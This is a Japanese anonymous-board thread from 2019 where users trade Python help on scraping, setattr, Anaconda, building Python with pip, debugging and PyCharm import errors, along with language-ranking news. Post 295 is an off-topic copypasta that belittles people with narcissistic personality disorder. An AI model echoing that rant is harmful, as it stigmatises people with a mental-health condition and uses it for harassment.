2019/05/06(月) 13:00:20.83ID:llnuASGm
>>136
何度もありがとうございます。
いろいろと調べてみたのですがiteratorとして使うものではないと思います

その上で
for elm in sp.select('.class名'):
に.stringを付けるとすれば
for elm in sp.select[('.class名').string]:

にしたらいいんですか?
この記載で各要素に.stringってつけれるのでしょうか?
0138デフォルトの名無しさん
垢版 |
2019/05/06(月) 13:15:04.22ID:4WCBwXBu
>>137
各要素の.stringを参照するならループ内でいちいち参照する
for elm in sp.select():
____elm_string = elm.string

か、内包表記で 各要素.string が並んだリスト(的なもの)をforで回す
for elm in (e.string for e in sp.select()):
0139デフォルトの名無しさん
垢版 |
2019/05/06(月) 13:29:44.01ID:a8gxR/Is
pythonista3専用のスレってある?
0140デフォルトの名無しさん
垢版 |
2019/05/06(月) 14:17:32.29ID:vCRdl9br
select_one()、find()、find_all()がそれぞれ何を返すかリファレンスで確認しなよ
返したオブジェクトにstring属性が有れば直接.string付けて使える。
(見つからなかった場合の処理は必要だけど)
集合を返すならfor等で回すのはPython関係なく当然じゃないの?
0142デフォルトの名無しさん
垢版 |
2019/05/06(月) 17:43:42.76ID:kr7+hcA9
Linterによるチェックや
単体テスト等を自動的に設定してくれるCLIツールか何か無いですか?
手動で入れるのめんどくさいです。
0143デフォルトの名無しさん
垢版 |
2019/05/06(月) 22:06:12.16ID:a8gxR/Is
>>141
ありがとう
0144デフォルトの名無しさん
垢版 |
2019/05/07(火) 01:18:37.83ID:OdT0SJzW
>>137 構文補完をしてくれるツールを使えば、string が使えるか使えないかなんて教えてくれるだろ。
0145デフォルトの名無しさん
垢版 |
2019/05/07(火) 21:32:05.66ID:GlTxCTc/
Python2の旧スタイルクラスで、"クラス名".__dict__["クラス変数名文字列"]=XXで代入していたのを
新スタイルクラスに置き換えたら、__dict__がproxyDictで読み取り専用になった影響で例外になってしまった・・

クラス変数(インスタンス変数じゃないよ!)にインデクサで代入するのって、どうやるのがセオリー?
0146デフォルトの名無しさん
垢版 |
2019/05/08(水) 13:16:42.77ID:tjSWQfYU
setattr
0147デフォルトの名無しさん
垢版 |
2019/05/08(水) 16:20:18.54ID:qIqlQi6s
日経225平均のリアルタイム値が簡単なスクレイピングで読めるサイトありませんか?
googleもyahooも20分遅れで、リアルタイムのサイトはいくつかあったけどページ内に値は書き込まれていないみたいです。
https://nikkei225jp.com/cme/
とか。
0148デフォルトの名無しさん
垢版 |
2019/05/08(水) 18:00:43.80ID:ex2lag03
>>147 株をやるんだろ。 証券会社の値はほぼリアルタイムだよ。
どこかの株を10万円でも買えば?
0149デフォルトの名無しさん
垢版 |
2019/05/08(水) 18:06:42.31ID:ex2lag03
>>147 ごめん、そのサイト見たけど、値がコピペ出来るんだからどうとでもなりそうだけどな。
コピペできないサイトは面倒だろうけど。
0153デフォルトの名無しさん
垢版 |
2019/05/09(木) 00:18:25.32ID:zHXNWfjV
>>151
のサイトに、内容が良くまとまっている!

そのサイトが、API, RSS Feed を公開しているなら、それを使う

スクレイピングは、Ruby, Nokogiri で出来る

5ch のように、空のHTML を送ってきた後、
サーバーから、JavaScript(JS) で動的に内容を取得している場合は、

Selenium WebDriver を使って、JS を動かしてから、内容を取得する。
つまり、人間が操作するのと同じように、ブラウザを自動操作する

JSが動く前では、取得したい要素が、まだ存在していないから

ただし、頻繁にスクレイピングするのは、
営業妨害とかアクセス禁止にされて、逮捕されるかも!
0154デフォルトの名無しさん
垢版 |
2019/05/09(木) 08:55:08.80ID:NqkDudFv
Rがトップ20位圏外へ、Pythonの採用が進む - 5月開発言語ランキング
2019/05/09 06:05 後藤大地
https://news.mynavi.jp/article/20190509-820376/

TIOBE Softwareから2019年5月のTIOBE Programming Community Index (PCI)が公開された。
TIOBE PCIは、複数の検索エンジンの検索結果から、対象となるプログラミング言語が
どれだけ話題になっているかをインデックス化したもの。2019年5月におけるインデックスは
次のとおり。

5月TIOBE Programming Community Index / 円グラフ
https://news.mynavi.jp/article/20190509-820376/images/001.jpg

データマイニングや人工知能のニーズが高まっていることから、統計に関わるプログラ
ミング言語は人気が高い状況が続いている。TIOBE Softwareはこの状況においてRが20位
圏外に落ちることは驚きに値すると指摘している。この理由として、該当分野でPythonの
採用が進んだことで、Rの必要性が下がっていったことを挙げている。

Pythonは長期にわたって増加傾向を続けている。TIOBE Softwareが指摘しているように
データ処理の分野においてもPythonが使われるシーンが増えている。今後も同様の傾向が
続くと見られており、今後もPythonが利用されるシーンは増え続けることが予想される。
0156デフォルトの名無しさん
垢版 |
2019/05/09(木) 16:39:06.26ID:ZpL7167K
https://ideone.com/F983Gv

memmapを作って中身のデータを置換、末尾のデータを削除するサンプルを作って動かしてみたのですが
末尾のデータを削除したあとのサイズが、削除する前のものと同じになっています。

これは、こういうものなのでしょうか。それともどこか間違っているのでしょうか
0158デフォルトの名無しさん
垢版 |
2019/05/10(金) 10:32:38.92ID:TvwQV5La
>>157 PyCharm の方が良いからだろ。

話は変わるが、レンタルサーバはJavaが動かないのが多いな。 それで perl php ruby などのスクリプト言語が使われてきたけど、これからは日本でもPythonの比率が高まっていくだろう。
0160デフォルトの名無しさん
垢版 |
2019/05/10(金) 13:49:24.74ID:4v4gRarW
Anaconda入れたら勝手に.bashrcでPATH追加しやがったw
いろいろサイト見ると確認メッセージでyesno出るみたいだったんだが・・・・・
0161デフォルトの名無しさん
垢版 |
2019/05/10(金) 13:52:44.24ID:2ymPmQZD
Anacondaで入れたけどPATH勝手に追加とかなかったぞ
ちゃんとyes/no選択出来た
0162デフォルトの名無しさん
垢版 |
2019/05/10(金) 13:54:03.40ID:sZdncDhC
マクラ
0163デフォルトの名無しさん
垢版 |
2019/05/10(金) 14:20:21.48ID:4v4gRarW
>>161
事前調査では、聞かれるはずってわかってたので出てきたらnoにしようと思って
それまでの他の質問yesyesで進めてたんだけどなぜか出てこなかった。
もう直したからいいけどなんだったんだろうな・・・・・
ちなみに2019.03のPython 3.7 バージョン Linux Installer
いらんかもしらんけど一応報告まで。
0164デフォルトの名無しさん
垢版 |
2019/05/10(金) 15:05:57.63ID:uAfP9ooZ
せっかくlinuxで作業するんだから、pipを使った方がいいと思うんだ
condaはpythonのコミュと仲が悪いからいずれ頭打ち
現状でもライブラリ等の互換性で既に問題がでている
0166デフォルトの名無しさん
垢版 |
2019/05/10(金) 18:47:59.73ID:5cJ7H2I+
>>160
インストールのときに
君のキーボードのyを
ネズミが踏んだのさ
0168デフォルトの名無しさん
垢版 |
2019/05/11(土) 11:30:46.17ID:wm1cT3jh
初歩的なこと聞いてすみません。

key = ['a','b','c','d']
print key[1:3]

['b','c','d']

...を

b c d

...と表示させるにはどう記述すれば良い?
0170デフォルトの名無しさん
垢版 |
2019/05/11(土) 11:57:02.81ID:wm1cT3jh
ありがとう!なったw
0171デフォルトの名無しさん
垢版 |
2019/05/11(土) 12:03:56.90ID:yaIUpng2
print(*key[1:])
0172デフォルトの名無しさん
垢版 |
2019/05/11(土) 12:34:28.56ID:33ultIg2
Pillowで特定のRGB値からマスク画像を作りたいんだけど
numpyを使わずにやろうとすると2重のforを回してピクセル単位でRGB値を判定するか、
チャンネルごとに分けてRGBを個別に判定して2値化したあと、andするしかないんかな
一発で行く方法があればいいんだけど
0173デフォルトの名無しさん
垢版 |
2019/05/11(土) 12:45:21.69ID:td9YBJ3L
24bit/32bit単位でアクセスして色でマスクしてからマスク画像造ればええで
0174デフォルトの名無しさん
垢版 |
2019/05/11(土) 13:09:19.91ID:33ultIg2
ありがとう。でも、24/32bit単位でアクセスしようとするとgetpixel使うことになって、結局ループ回すことにならない?
0175デフォルトの名無しさん
垢版 |
2019/05/11(土) 13:17:18.04ID:td9YBJ3L
なんでgetpixelなんて使うの?
0177デフォルトの名無しさん
垢版 |
2019/05/11(土) 13:26:18.33ID:9IJE1a+u
いつまで経っても筋が悪いなおまいは
0179デフォルトの名無しさん
垢版 |
2019/05/11(土) 19:31:38.62ID:QY0bHjT5
>>178 あれは言語のうちに入らないから。 HTML CSS や XML のおまけで分野が違う。

言語としては、C か Java のサブセットみたいなもの。
0181デフォルトの名無しさん
垢版 |
2019/05/11(土) 19:38:29.14ID:Js5+404h
100行くらいの
atcoder のベルマンフォードの問題のエラーが出る原因について聞いてもいいですか?
小サイズのサンプル入力では正解が出ています
0184デフォルトの名無しさん
垢版 |
2019/05/11(土) 19:53:56.27ID:QY0bHjT5
>>182 そうかな? かなり素直でわかりやすいと思うけどな。 現に世界の初級プログラミング教育の標準となってるし。
文法的にはC の流れを汲んでるし殆どの人には取り組みやすい。

スクリプト言語と、コンパイラ言語との間の癖は慣れでしか無い。
0189デフォルトの名無しさん
垢版 |
2019/05/11(土) 21:06:51.89ID:2UKGIbym
癖って内包表記みたいのかな(python分かる人にとっては簡潔明瞭)
他言語もそういう特有な記述ってあるんじゃないのか
0190デフォルトの名無しさん
垢版 |
2019/05/11(土) 21:16:47.42ID:2v2BzL6t
>>188
所詮、pythonなんて今流行ってる言語でしかないじゃん
Javascriptでも機械学習出来るわけだし
0191デフォルトの名無しさん
垢版 |
2019/05/11(土) 21:27:15.51ID:Zt/4qaNA
javascriptで機械学習って、個人的によくわからないんだけど
MVCのVに近い言語で、なぜMの領域の核になるようなコードを書くんだ
保守性が悪くなりそうというのが素人意見
0193デフォルトの名無しさん
垢版 |
2019/05/11(土) 22:37:37.36ID:Js5+404h
>>181
自己解決しました。
0197デフォルトの名無しさん
垢版 |
2019/05/12(日) 08:13:03.58ID:LAPNzPPA
cとjavaとpythonで機械学習のコードを書くけど
他の言語で書くならC#ぐらいかなあ

javascriptやphpで書けと言われたら、その会社の将来性を疑う
javascriptは関数型言語だから相性はそこそこ良いのかもしれないけど
0200デフォルトの名無しさん
垢版 |
2019/05/12(日) 15:23:46.37ID:Ym/Qgpix
>>179
ブラウザでJavaScript 無効にしてそう
0202デフォルトの名無しさん
垢版 |
2019/05/12(日) 20:59:01.99ID:8D9kcMjk
asyncioってよく分かんない
Promise一つだけのJSと比べてなんか色々ある
coroutine
task
future
loop
何でこんな色々あるの?
0203デフォルトの名無しさん
垢版 |
2019/05/12(日) 21:10:39.85ID:PI+Y6S0H
>>197
興味ないから知らんけど、TypeScriptは使われてる印象だけどな
あと、web周りでなんかしようと思ったらnode.jsの知識がいるんじゃないかなって思う
0205デフォルトの名無しさん
垢版 |
2019/05/13(月) 18:04:14.71ID:gFFPQVVF
さようなら、Python 3.4 2019/05/13 09:45 後藤大地
https://news.mynavi.jp/article/20190513-821165/

Python 3.4系のリリースマネージャを務めているLarry Hastings氏は2019年5月8日(米国
時間)、「Python Insider: Farewell, Python 3.4」において、Python 3.4をクローズした
ことを伝えた。Python 3.4系最後のリリースは2019年3月に実施されているが、この日まで
クローズ処理は行われてこなかった。(中略)

現在、それぞれのブランチで次のバージョンが最新版として公開されている。
・Python 3.7.3
・Python 3.6.8
・Python 3.5.7
・Python 3.4.10
・Python 2.7.16

Python 3.6系は2018年12月に公開されたPython 3.6.8がバグ修正モード最後のリリースと
されており、以降は必要に応じてセキュリティフィックスバージョンのみが公開される
予定になっている。Python 3.5系は明確なリリースプランはないものの、2019年9月前後で
Python 3.5.8のリリースが予定されている。Python 3.4系は2019年3月に公開されたPython
3.4.10が最終バージョンとされており、今後新しいバージョンがリリースされることはない
とされている。Python 3.4系を使用している場合、より新しいサポートの提供されている
バージョンへ移行することが望まれる。

Python 2.7系は現在、拡張メンテナンス期間に入っており、2020年1月1日まではバグ修正を
目的としたリリースが実施されることになっている。2019年の中期にPython 2.1.17が、
2020年1月には最後になると考えられるPython 2.7.18の公開が予定されている。それ以降は
サポートが終了される見通し。
0207デフォルトの名無しさん
垢版 |
2019/05/13(月) 22:12:31.72ID:XgdYNs3B
blender の python って 3.5 ?
3.6 以上にならない?
0208デフォルトの名無しさん
垢版 |
2019/05/14(火) 01:24:39.22ID:srCNrWHR
ブロックチェーンゲームの開発に興味あるからPythonで出来ないかと色々調べたらプラットフォームはETHの一人勝ちで言語はSolidityらしい
Solidityはjsによく似てるらしくDAppsの中ではETHのスマートコントラクトとのやりとりの橋渡しをしてるから、ブロックチェーンゲームを作りたいならjsを先ず勉強してSolidityに進むのが良さげっぽい
ただ先にPythonから手を付けてるからPythonが終わり次第、jsにも取り掛かろうと思う
あとまだ始まったばかりみたいだけどセキュリティを強化したVyperなる言語もあるみたいでこちらはPythonに似てるとのことだから、どっちにしろPythonの勉強は無駄にはならなそうだ
UnityでもブロックチェーンゲームのSDKあるみたいだし、今後はPython→Unity(C#)→jsって感じかな
0211デフォルトの名無しさん
垢版 |
2019/05/14(火) 11:38:51.56ID:HHew+yI/
NGに入れて良いわ
0212デフォルトの名無しさん
垢版 |
2019/05/15(水) 14:27:35.52ID:ezhKAAwy
代入式のpep読んでpython3.8ビルドしてみたけどこれあかんやろ…
束縛と値返しが同時に出来るとcみたいな黒魔術が出来てしまう
俺の愛するPythonの哲学に反する
4に受け継ぐのは断固反対
0213デフォルトの名無しさん
垢版 |
2019/05/15(水) 14:30:06.42ID:ezhKAAwy
>>207
Blenderをモジュールとしてビルドするオプションがあるから調べてみ、システムの生Python3.7と3.8で動いてるよ
起動せずにカメラを1度刻みに回した画像を何百枚ドバっと出して良い絵を選ぶの最高
0216デフォルトの名無しさん
垢版 |
2019/05/15(水) 16:32:15.86ID:ezhKAAwy
値は被りがあり得るから、安定ソートを望むと仮定する
タプルに直してlambda kv: kv[1] をキーにソート(3.7以降なら、またdictコンストラクタに渡してよい)するのだろうか
うーん効率悪そう
0218デフォルトの名無しさん
垢版 |
2019/05/15(水) 18:22:13.30ID:dq2v0yjU
す、少しだけだ!被ってるのは…
0219デフォルトの名無しさん
垢版 |
2019/05/16(木) 11:05:00.60ID:3jP28vfr
>>200
Pythonっぽくなっててびっくりした
for a in/of [···]とかクラスも難解なプロトタイプベースからクラスベースに
でもそれならPythonでいいが
0222デフォルトの名無しさん
垢版 |
2019/05/17(金) 00:45:43.47ID:mNszq8I6
作りながら覚える系の本を読め
ただしPython2系の本はだめ
Anaconda使ってるのもだめ
0227デフォルトの名無しさん
垢版 |
2019/05/17(金) 08:47:04.18ID:L8EHraRu
素人が自作OS作りたいって言うときは
目に見えてる上っ面の最表層のカッコイイところだけを作りたい、っていう話がほとんどだ
どう動いてるかの中身なんてどーーーでもいい
人間が見て触っている本当の上っ面だけを自分の好き勝手にいじくりまわしたい、ってのがやりたいことだ

だろ?
0228デフォルトの名無しさん
垢版 |
2019/05/17(金) 09:08:05.80ID:m4RzZjk6
Onaine System?
0229デフォルトの名無しさん
垢版 |
2019/05/17(金) 09:33:00.84ID:uSAn0gIg
uwscから乗り換えてpython+kivyはじめたけとほとんどwin32*、ctypesで書いてるな
python自体は簡単な方みたいだし普通に時計とか電卓とか基本的なの作って勉強したら
0230デフォルトの名無しさん
垢版 |
2019/05/17(金) 10:29:48.23ID:uc49J/1X
超絶素人のわいの偽物に踊らされないで
わいはAIについて学びたいんや
何で勉強したらいいの
0231デフォルトの名無しさん
垢版 |
2019/05/17(金) 13:58:36.37ID:0aDslv7a
>>151
いいねこのサイト
灯台下暗し、日経新聞のサイトでbs4で普通にgetできるわ(厳密なリアルタイムじゃないが1分おきだから十分)
0234デフォルトの名無しさん
垢版 |
2019/05/18(土) 10:58:09.87ID:cPFyVnxJ
誰かオセロのAI作って対戦せんか?
0235デフォルトの名無しさん
垢版 |
2019/05/18(土) 11:56:14.33ID:5J0Gqe9l
まあメモリ管理やプロセス切り替えコード書きたいかって言われたら
多分誰もやりたがらんだろなw
難易度高い割にやっても性能でなくてやっぱ既存のもの使うわってなるし。。
それはそれで良い経験ではあるのだが。
0238デフォルトの名無しさん
垢版 |
2019/05/19(日) 01:22:36.41ID:n77BSRnh
シーケンスを追うために、実行された行を実行された順に記録したいんだけど、pdbでステップ実行する以外にいい方法はないでしょうか
0239デフォルトの名無しさん
垢版 |
2019/05/19(日) 07:16:00.02ID:kpt/RDg2
デバッグはpdbとbreakpoint()と@reprlib.recursive_reprでやってるな
ブレークポイントは3.7から組み込み関数(!)に昇格した事からも凄く便利
reprlibはデコるだけでオブジェクトの値の履歴が全て自動出力されるし、var, dirなどもある、ideの機能は変数ビュアなども含めて全てコード中で簡単に実現出来るようになってる
エディタのみでide相当の機能が全て実現できるのがPythonの魅力だと思ってるよ
0240デフォルトの名無しさん
垢版 |
2019/05/19(日) 07:18:48.27ID:kpt/RDg2
なんか話逸れた
行ならbreakpoint関数を仕込む、実行履歴を取りたいならreprlibでデコる、で良いんじゃないの
0241デフォルトの名無しさん
垢版 |
2019/05/19(日) 13:07:31.94ID:uKdbRGjt
FXの自動取引したいんだけど
数字で判断するんじゃなくて(例えばRSIが20以下になったら買うとか、レートが110.10になったら売るとかではなくて)
チャートのローソク足の形をAIで判断させて取引させることは可能?
0242デフォルトの名無しさん
垢版 |
2019/05/19(日) 13:09:31.45ID:NVj9TkQF
可能
0244デフォルトの名無しさん
垢版 |
2019/05/19(日) 13:10:43.28ID:TOq1cI5E
>>241
可能だが数字で判断するよりもいい結果になるかは分からん
0247デフォルトの名無しさん
垢版 |
2019/05/19(日) 13:13:34.19ID:NVj9TkQF
ランダムに対して勝てないと判ってるなら逆張りすれば宜しい

手数料とかは無い前提ならそれで勝てる
0250デフォルトの名無しさん
垢版 |
2019/05/19(日) 16:46:55.44ID:ez3q64GI
プログラミングやるにしてもノートPCしか無いから21-24インチくらいのモニタ欲しいけど、このサイズだとフリッカーフリー機能付いてるやつないんだな

なんで?
0251デフォルトの名無しさん
垢版 |
2019/05/19(日) 17:03:43.52ID:J+G2nvCL
ローソク足って始値、終値、高値、安値を示してるだけだろ
容易に数値情報が取得できるこれらの情報をそのまま使わずわざわざローソク足の形を画像認識させることに何の意味があるのか
無駄に画像認識処理を挟むことで情報の精度を悪化させているだけにしか思えない
0255デフォルトの名無しさん
垢版 |
2019/05/19(日) 18:31:52.11ID:S2hJsM5c
なにか辞書的に使えるpythonの参考書ないかな
『パーフェクトjava』はよかったけど『パーフェクトpython』は糞だった
0260デフォルトの名無しさん
垢版 |
2019/05/19(日) 20:39:08.56ID:43o0ejXL
ボクシングの試合を学習させて試合予想したい。
誰か作って。
0261デフォルトの名無しさん
垢版 |
2019/05/19(日) 22:54:16.48ID:DUjmSzRL
import random

#試合結果を読み込む
with open('result.csv') as f:
 res = f.read()
if random.random() > 0.5:
 print("Win!")
else:
 print("Lose...")

こんな感じか
細かいところは自分で拡張してくれ
0262デフォルトの名無しさん
垢版 |
2019/05/19(日) 23:00:04.36ID:ilqWVGpL
僕の肛門も拡張されそうです!
0264デフォルトの名無しさん
垢版 |
2019/05/19(日) 23:08:01.60ID:43o0ejXL
>>261
ありがとう!
0265デフォルトの名無しさん
垢版 |
2019/05/20(月) 05:15:56.15ID:tXpC7nmJ
サザエさんじゃんけんはガチ勢のスレに行ってくれ
0266デフォルトの名無しさん
垢版 |
2019/05/20(月) 06:15:28.61ID:poyp5Kqc
パーフェクトPython、Pythonサポーターズ、2013

この本は、良いよ。
ただし、5年経ってるけど、新しい版が出ない

すべての言語で、この順番で読む。
1. 入門書
2. Effective 何々
3. 逆引き・レシピ本・コーディング規則
(4. メタプログラミング)
5. フレームワーク

例えば、Ruby なら、この順番。
たのしいRuby 第6版
Effective Ruby、2015
改訂2版 Ruby逆引きハンドブック

Effective・逆引きなんて、どの言語にもある
0267デフォルトの名無しさん
垢版 |
2019/05/20(月) 11:32:17.46ID:g1Dx2x5o
>>260
顔の表情読み取って戦意喪失してて
イヤイヤ首振っててもまだ戦わせるのは
AIより劣ってるよな
0268デフォルトの名無しさん
垢版 |
2019/05/20(月) 13:18:41.71ID:Laivvg48
リストのコピーで、思い切りハマってしまった
そういうものだとわかるまで小一時間頭抱えてしまったわ
0269デフォルトの名無しさん
垢版 |
2019/05/20(月) 14:03:20.61ID:wijT7VzX
リストは参照渡しのポインタが入ってるだけ
ここらへんのメモリの理屈を理解してないと新しい言語を学ぶたびに
文法を一から丸暗記しなくちゃいけなくなる
0270デフォルトの名無しさん
垢版 |
2019/05/20(月) 14:04:56.90ID:wijT7VzX
参照渡しのポインタだと、ポインタのポインタみたいな意味になっちゃうな 駄目だこれテヘ
0271デフォルトの名無しさん
垢版 |
2019/05/20(月) 14:56:10.55ID:VITeHWYT
参照”渡し”は関数呼び出しの時のための用語。
参照と言え。
0273デフォルトの名無しさん
垢版 |
2019/05/20(月) 22:00:57.86ID:flsOqa0I
>>267
あれはちょっと可哀想であった。
0277デフォルトの名無しさん
垢版 |
2019/05/23(木) 11:47:15.87ID:eybwZjzY
sympy を初めて触り始めたけど計算系は何でもある感じだな。 plot系まで入ってる。
plot系以外は全てpythonで書かれているそうだからどこででも動くのもよい。
0278デフォルトの名無しさん
垢版 |
2019/05/23(木) 13:31:25.02ID:eybwZjzY
>>277 plot系も裏で Matplotlib を使ってるだけみたいだから、sympyを使うならSymmpyだけで座標系を統一したほうがよさそうだな。
0279デフォルトの名無しさん
垢版 |
2019/05/23(木) 14:24:17.99ID:eybwZjzY
でもSympyの公式ドキュメントだけじゃよくわからんな。 関数表示の例はあるが、Polygon表示の例などが不足してる。
変換が多少面倒だがMatplotlib を使う方が良いのかな、smpyのPolygonを直接plotすることはできないみたいだし。
0280デフォルトの名無しさん
垢版 |
2019/05/23(木) 23:49:30.39ID:CgHHC4v9
VPSで1分ごとにWebAPIからデータ取得する
スクリプトを書きたいんだがどの言語が良いのかな?

24時間365日稼働を想定してるんだが可能かね?
それと24時間稼働のプログラムを作るコツとかあれば教えてもらいたい
0283デフォルトの名無しさん
垢版 |
2019/05/23(木) 23:57:15.77ID:CgHHC4v9
この質問はしたことなんだが(´・ω・`)
アフィサイトでも作ろうかと思ってね
0285デフォルトの名無しさん
垢版 |
2019/05/24(金) 14:38:12.82ID:MR3FxfYE
Sympyなどの科学技術計算ってものすごく内容があるし、例題や説明が少ないから理解するのに時間がかかる。
数学の素養がある人は言葉を聞いただけである程度内容が解るんだろうけど。
今必要と思われるキーワードから芋づる式で必要そうな機能を調べてるけど効率が悪い。

ある程度使いこなせればそういう分野ではかなりの即戦力になりそうなのは解るが。
0286デフォルトの名無しさん
垢版 |
2019/05/24(金) 15:47:12.38ID:pviCkI3c
python勉強し始めたばかりの初心者です。

Xubuntu 18.04 LTSにて
$ wget https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz
$ tar xf Python-3.7.3.tgz #xf=extract file(ファイルを展開する)
$ cd Python-3.7.3
$ ./configure --prefix=/opt/python3.7.3 #pythonのインストール先を変更
$ make
$ sudo make install

pythonインストールしたところ、pipがインストールされませんでした。
元々python2.7がデフォルトで入っており、ネットにある方法でpipをインストールしても2.7用のpipがインストールされてしまいます。
どうすれば3.7.3用のpipをインストールできるのでしょうか?
0288デフォルトの名無しさん
垢版 |
2019/05/24(金) 16:07:33.46ID:/7dQNzPT
getpipだったかpipgetだったかでググれ
0289デフォルトの名無しさん
垢版 |
2019/05/24(金) 16:15:11.96ID:4wOOjLCG
linuxで新規にインストールしたpythonのアンインストールの仕方がわからない件
違うpythonが消えた
ついでにそれに依存してたソフトも消えた
0290デフォルトの名無しさん
垢版 |
2019/05/24(金) 16:18:09.22ID:4wOOjLCG
ソースコードからのビルドはなぜか失敗する事が多い
jdownloaderもopt以下に指定してインストールしたらurlを追加できないという不具合が発生した
でも同じ手法でインストールしたvivaldiは動いてるんだよなあ
0291デフォルトの名無しさん
垢版 |
2019/05/24(金) 16:19:10.41ID:/7dQNzPT
optやろ
マルチあかんで
0292デフォルトの名無しさん
垢版 |
2019/05/24(金) 16:20:10.61ID:4wOOjLCG
環境はubuntu最新版っす
0293デフォルトの名無しさん
垢版 |
2019/05/24(金) 16:32:14.25ID:DhLf06aG
>>286
たぶん元からpython2と3が入っててデフォルトの参照が元から入ってるpythonになってる
デフォルトのpythonを新たに入れたpythonにする方法があるらしい
明示的になんやかんや
あとは他の人に聞いてくれ

>>289
バックアップ取ってないなら再インストールしかない、と思う
ソフトが消えたということは既に関連したシステムが壊れてる筈
0294デフォルトの名無しさん
垢版 |
2019/05/24(金) 16:33:10.38ID:bwbeI+nq
ubuntuで元から入ってるpythonは消しちゃダメ
0295デフォルトの名無しさん
垢版 |
2019/05/24(金) 16:49:21.95ID:xD3Ct4tw
>>1

自己愛性人格障害が何故いじめられるのか5つの理由を挙げてみましょう。

@自己評価が高すぎて自慢や虚言が多い
周りの印象を悪くする最初の原因。
ただでさえ自分語りが長いのに、話の端々に何の脈絡もなく自慢話を挟んできたりする。
酷い場合は有り得ない嘘をついて周りを驚かせる。
「警察のトップと知り合いで〜」「皇室と血の繋がりがある」等など。
筆者の小学校時代には「パパは任天堂の社長」と触れ回ってる女子がいた。
ここまで来ると他の病気を疑うべきかもしれないが。

A常に他人を見下した態度をとる
自己愛は自分が一番特別で、かつ称賛されるべき人間と思い込んでいる。
自分より偉い人間には媚びへつらい、それ以外に対しては常に上から目線。

B思いやりがなく、感謝の気持ちを表現できない
周りに何かしてもらって当然という意識があるので、親切にされても素直に「ありがとう」ということはできない。
こういうことが重なるとどんなに良い人でもその人に対する評価が下がっていく。

C悪いことは全て他人のせい。客観性がない
上記のような態度を取り続ければ周りから「嫌な人間だ」という評価をされても文句は言えない。
腹が立って本人にそのことを指摘するようなことがあれば「これはいじめだ」「理解しない社会が悪い」と言い始める。
普通の人間ならば自己を振り返って反省したり、謝ったりするものだが、自己愛は自分に非がないのが前提なのでそこまで思考が回らない。

D本人に全くその自覚がないので、自分は一方的な被害者だと訴える
悪質なのは本人には自覚がなく、悪気すらないので、行動に問題があったことを気付かせるのが困難だということ。
それどころか「自分はいじめの被害者で何もやってないのに危害を加えられた」と権力の後ろに隠れる。
 
0296デフォルトの名無しさん
垢版 |
2019/05/24(金) 16:52:04.14ID:/7dQNzPT
Mat2
0300デフォルトの名無しさん
垢版 |
2019/05/24(金) 20:35:10.38ID:6kmMDU5m
でも3系入れないといかんじゃん
0301デフォルトの名無しさん
垢版 |
2019/05/24(金) 21:18:56.24ID:0/HBA6Rh
IDLE 3.7を使ってみてるんですけど、これって日本語で編集できないんですか?OSはWinです。
0302デフォルトの名無しさん
垢版 |
2019/05/24(金) 22:06:43.84ID:XmR3ae2T
>>286
Ubuntuはminimal installでもpython3が入ってしまうからソースコードで入れる機会はないけども参考までに

pipが入らないのはライブラリが足りないから
sudo apt-get install libffi-dev
をした後で、configureオプションに
--with-ensurepip
をつける
実行はpip3を使う

あとconfigureする前にaptで
libbz2-dev
libncurses-dev
libdb-dev
libgdbm-dev
liblzma-dev
libsqlite3-dev
tk-dev
uuid-dev
libreadline-dev
を入れておくと幸せになれる
でもソースコード教をやめたらもっと幸せになれる
0304デフォルトの名無しさん
垢版 |
2019/05/25(土) 10:52:26.65ID:HkxaNc28
大抵の用途ならcolabで十分だからインストールや環境設定で消耗するぐらいならcolabでどこまでできるかを考えた方が良い
0305デフォルトの名無しさん
垢版 |
2019/05/26(日) 14:29:10.77ID:3cU5Ak9F
PyCharmでpython-vlcを仕様したいんだが
ANACONDAでpip install python-vlc
Pycharmでsetting→Project Interpreterからinstallしたんだが
import vlcで指定されたモジュールが見つかりませんとなるんだがどうしたらいいの?
0306デフォルトの名無しさん
垢版 |
2019/05/26(日) 14:58:07.93ID:OsWsHViw
anacondaなのにpipつかっちゃうん?

まぁそれはいいとして、インストールしたライブラリが見つからないのって、仮想環境使ってるんじゃないの?
0307デフォルトの名無しさん
垢版 |
2019/05/26(日) 15:00:01.08ID:4t7mcF6A
説明が端折られすぎてて意味が分からんから当てずっぽうで書くが
anacondaのグローバルなsite-packagesにvlcが入ってて、
PyCharmではcondaの仮想環境のsite-packages見てる
0308デフォルトの名無しさん
垢版 |
2019/05/26(日) 15:05:07.90ID:4t7mcF6A
PyCharmとAnacondaと仮想環境なんで誰かが教えてやらんと手を出すはずないよな
半端な説明して初心者を迷わしてる奴はぶち殺すべきだわ
0310デフォルトの名無しさん
垢版 |
2019/05/26(日) 15:52:27.13ID:jVNot2dU
>>309
PyCharm + Anacondaということなんで参戦

PreferenceでProject Interpreter開くと下にパッケージでて、そこになければかなりの確率でInterpreterの指定先がおかしい

OSくらいは書いて欲しい
pipはどこから実行したの?
0312デフォルトの名無しさん
垢版 |
2019/05/26(日) 16:19:40.66ID:jVNot2dU
>>311
pipはAnaconda Promptを開いてコマンドを叩いたということでいいかな
そしたら
(base) C:\Users\foo
みたくなっていると思う

カッコの中が環境名でそこにインストールされてる

Interpreterを調べるには、pipを実行したコマンドプロンプトで
where pip
とうつと幾つかpip.exeの場所が出る
その中で一番上のpip.exeと同じ場所にあるpython.exeをInterpreterとして選ぶ
0313デフォルトの名無しさん
垢版 |
2019/05/26(日) 16:40:03.70ID:jVNot2dU
あ、Project Interpreterに表示されているのか
だとすると別の問題っぽいなぁ

VLC本体を入れてないとかかな
www.videolan.org
0314デフォルトの名無しさん
垢版 |
2019/05/26(日) 16:52:02.13ID:3cU5Ak9F
VLC本体はインストール済みなんだけどな
project interpreterから一回uninstallしたら
今度はinstallできなくなった
Non-zero exit code (1)
と表示される
0316デフォルトの名無しさん
垢版 |
2019/05/26(日) 17:04:35.82ID:jVNot2dU
試しにインストールしてみたら普通にいけてしまった
問題の切り分けが必要かな

32bitと64bit混在してないよね?
VLCは実は32bit版とか

あるいはVLCが古すぎるとか

Interprterのライブラリに表示されているのなら、問題はその先かな
0318デフォルトの名無しさん
垢版 |
2019/05/27(月) 23:59:16.39ID:YW0FY62m
3年前の化石ちょうちん記事ワロタwww
0319デフォルトの名無しさん
垢版 |
2019/05/28(火) 00:20:41.52ID:M3HPfliA
black-chain
0321デフォルトの名無しさん
垢版 |
2019/05/30(木) 07:53:37.00ID:bMHQkBGr
>>285 色々調べてると次の様な関係らしいね。
Sympy は、記号計算が出来る。 同分野では、

